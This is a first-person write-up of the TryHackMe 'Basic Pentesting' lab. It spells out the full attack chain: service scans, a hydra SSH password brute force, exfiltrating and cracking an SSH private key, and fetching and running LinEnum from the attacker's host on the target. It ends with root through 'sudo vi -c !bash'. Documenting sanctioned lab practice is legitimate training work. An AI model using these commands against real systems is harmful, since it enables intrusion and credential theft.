TryHackMe — Basic Pentesting
This basic machine allows you to practice web app hacking and privilege escalation. It is part of the free TryHackMe boxes and designed to teach basic penetration techniques. At a high level, these techniques are as follows:
- Brute forcing
- Hash cracking
- Service enumeration
- Linux enumeration
- Privilege escalation
I started by using sudo openvpn to connect to TryHackMe as was assigned a virtual IP. The target had an IP address of 10.10.34.1 and I was given one hour to complete the hack. And away we go!
I like to start my hacks by creating a folder for each box I hack. It helps me keep track of the boxes I’ve completed and allows me to save files and screenshots in one place. This not only helps me stay organized during my hacks (important when you’re on the clock), but it also makes these write ups much easier to complete after the fact.
I always enjoy a starting with a good one-liner, so I used mkdir basicpentesting && cd basicpentesting to create a new folder and change into it with one command. This will serve as home base for my reconnaissance and attacks from my Kali box.
Once I had completed this basic setup, I began enumerating services with map -A 10.10.34.1. This aggressive scan revealed several open ports, six in total. Ports 22, 80, 139, and 445 caught my eye. I made note of the following running services and their respective ports.
- OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 running on port 22
- Apache httpd 2.4.18 running on port 80
- Samba smbd 3.X — 4.X running on port 139
- Samba smbd 4.3.11-Ubuntu running on port 445
Whenever I see port 80 open, I pull up the page in my browser and see what happens. It’s often a company website that offers insight. Sometimes it’s the default Apache page or a 403 Forbidden error. In a lot of cases there’s a hidden login page or other method of ingress to be found off the main site. Other times I find an email or contact form that can be exploited by checking the parameters being passed.
I visited 10.10.34.1 in my browser and received a message saying the site was undergoing maintenance. Interesting. What does that mean to me and how can I exploit it?
That got me thinking that the developers might actively be working on the page. Perhaps I could find a clue in the page source. It’s a horrible practice, but sometimes devs are lazy, careless, or simply unaware of DevOps security best practices. If nothing else, it gives me a glimpse into what’s behind the page so I can look for other avenues and attack vectors.
In this case, a message was left for the devs to check the dev note section. That sounded highly promising. I made note of this in my records and continued my reconnaissance against the target box.
It was obvious there was a hidden folder somewhere off the main page based on this note. The question was how to find it. Since this exercise is not concerned with stealth and I do not need to worry about an IDS/IPS, I will use many methods in this hack to gain as much information as possible before committing my attack. These tools will likely produce similar results, but each one has their own benefits and will add clarity to the target as a whole. After all, the purpose of this box is to practice my skills and I intend to do just that… even if it is a bit overkill.
I started with gobuster -w /usr/share/dirb/wordlists/big.txt dir -u 10.10.34.1 to brute force URIs and map out the attack surface. Because Gobuster is brute force, it would likely be discovered of blocked by a WAF if I were concerned with such things. It is not exactly stealthy, especially if you use the big.txt file like I do. In this exercise it proved to be quite useful though in enumerating the /development URI as a possible target.
I also decided to run a recursive Dirsearch to see if I could find anything else. I used python3 ~/dirsearch/dirsearch.py -r -u 10.10.34.1 -w /usr/share/dirb/wordlists/big.txt. Unfortunately, it didn’t add anything new to my recon, but it did confirm there were no rogue PHP login or contact pages lying around I might have been able to exploit. Too bad.
In the interest of learning everything about the system before penetrating it, I also decided to run a Nikto vulnerability scan with nikto -C all -h http://10.10.34.1. Again, this is not necessary but will give us a full picture to plan strategy before making our move. Nikto pointed out several additional vulnerabilities and also confirmed that /development was an interesting directory I should focus on.
Once I had confirmed my destination, I visited 10.10.34.1/development and was pleasantly surprised. Two files were sitting out in the open, easily accessible to anyone who visited the page. Another poor decision by the devs. I’m starting to sense a pattern.
Here was the dev.txt file that had been mentioned in the page source and a j.txt file to check as well. Sweet! It’s and easy early win, but I’ll take it.
I opened the dev.txt file and viewed its contents. It appeared to be a series of messages between two developers with the initials K and J. They were discussing the work they were doing on the site and the software they had installed. It sounded like they were using some outdated and potentially vulnerable services. If so I will exploit them. That’s what I do.
They made reference to Apache Struts 2.5.12, as well Samba and Apache Web Server. I already know about some of these services from my earlier scans, but this confirmed I had options. Which service I would choose to exploit would depend on an analysis of the vulnerabilities. I made note of my discoveries and started investigating.
I also made sure to view the j.txt file. This appeared to be a message from K to J about the /etc/shadow file that really should be private. Again, someone needs to teach these devs some basic web security and cybersecurity acumen. Nevertheless, the mention of weak credentials had me chomping at the bit. I had to hurry before J got the message and changed their password.
Samba seemed like a logical first step, given its presence on both ports 139 and 445. The obvious choice was to use enum4linux to enumerate information from Samba, which I did with the command enum4linux -a 10.10.34.1. This returned a plethora of information, including password info like minimum length and lockout duration.
I made note of these lax security password policies and continued reviewing information until I came across two local usernames: kay and jan.
This gave me two user names to work with on gaining access. If I could find their passwords, I could attempt an SSH connection and that would make life a lot easier for me.
I decided to start with jan. My reasoning behind this was I assumed they were the “J” mentioned in the not with a weak password I could brute force in less time. I used hydra -t 4 -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.34.1 and grabbed a snack while I waited for it to complete. I used the infamous rockyou.txt file as the wordlist for the password. Eventually I was rewarded with Jan’s password which is armando.
Once I had Jan’s password it was time to ssh in to the target box and continue enumerating services. I used ssh jan@10.10.34.1 and entered the password armando when prompted. This successfully logged me in as Jan and I began to explore what all I had access to.
After some exploration around the server, I was able to identify a folder for Kay in the home directory. I navigated there and used ls -la to view all contents, including hidden files and folders. I quickly noticed a password backup file and attempted to view it with cat pass.bak but received a “permission denied” error. Looks like only Kay has permission to read or write that file. Guess I have to hack Kay now.
Since I need to be logged in as Kay to view the file, I turned my attention to the private keys stored in the .ssh folder. If I didn’t have Kay’s password, could I use their RSA private key to gain access instead and escalate privileges from there? Let’s find out!
I navigated to the hidden SSH folder and typed ls -la. I used cat id_rsa to view the file and confirm it was the RSA private key I was after.
Since I wanted to avoid installing john or other suspicious programs to the target box, I had to transfer the file back to my Kali box to crack it. I served the file up from the target machine with python -m SimpleHTTPServer 4444.
Then I went back to my Kali box and entered wget 10.10.34.1:4444/id_rsa to download the file and used cat id_rsa to ensure it was correct.
Cracking the RSA private key was a two step process. First I used python /usr/share/john/ssh2john.py id_rsa > hash.txt to create a text file of the hash that I could crack to find the passphrase for Kay’s private key.
Then I used john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt to crack the hash. That’s when I discovered Kay’s passphrase was beeswax.
Now that I had the passphrase for the private key, I could pair that with the SSH key itself and log in as Kay. First I needed to update the permissions on the id_rsa file with the command chmod 600 id_rsa. Anything lower than 600 and the private key will not work, while changing them to 777 will result in an error “WARNING: UNPROTECTED PRIVATE KEY FILE!”
Once that was done, I used ssh -i id_rsa kay@10.10.34.1 and provided the passphrase beeswax when prompted. This allowed me to SSH in directly as Kay from my Kali box and I was able to use cat pass.bak to view Kay’s actual password: heresareallystrongpasswordthatfollowsthepasswordpolicy$$.
In order to check for further vulnerabilities I used python -m SimpleHTTPServer 4444 on my Kali box and wget 10.9.0.141:4444/LinEnum.sh from the /tmp folder on the target machine to save the LinEnum script in the temporary folder. I like saving scripts in the temporary folder because they will be wiped when the machine resets. This is one way to help avoid detection and cover my tracks.
I changed permissions with chmod 777 LinEnum.sh before running the script with ./LinEnum.sh.
As luck would have it, Vim was running as root and was executable by anyone. Perfect. I knew exactly what to do to gain root from here.
I typed sudo vi -c ‘!bash’ in the terminal and then entered Kay’s password of heresareallystrongpasswordthatfollowsthepasswordpolicy$$. The screen flashed momentarily as the system pulled up Vim and then executed the command for a bash shell. Because Vim is running as root, this shell is granted root privileges, and voila… box hacked! I am root!
I hope you enjoyed reading this write up as much as I enjoyed doing it. Hacking this box was fairly simple and straightforward, but I really enjoyed seeing how many different tools I could try. I would definitely recommend this box to newcomers and anyone looking for a little practice.
Here’s a listing of some of the tools and commands I used in this hack:
- nmap
- gobuster
- dirsearch
- nikto
- enum4linux
- hydra
- ssh
- python
- SimpleHTTPServer
- wget
- ssh2john
- john
- LinEnum
- vim privilege escalation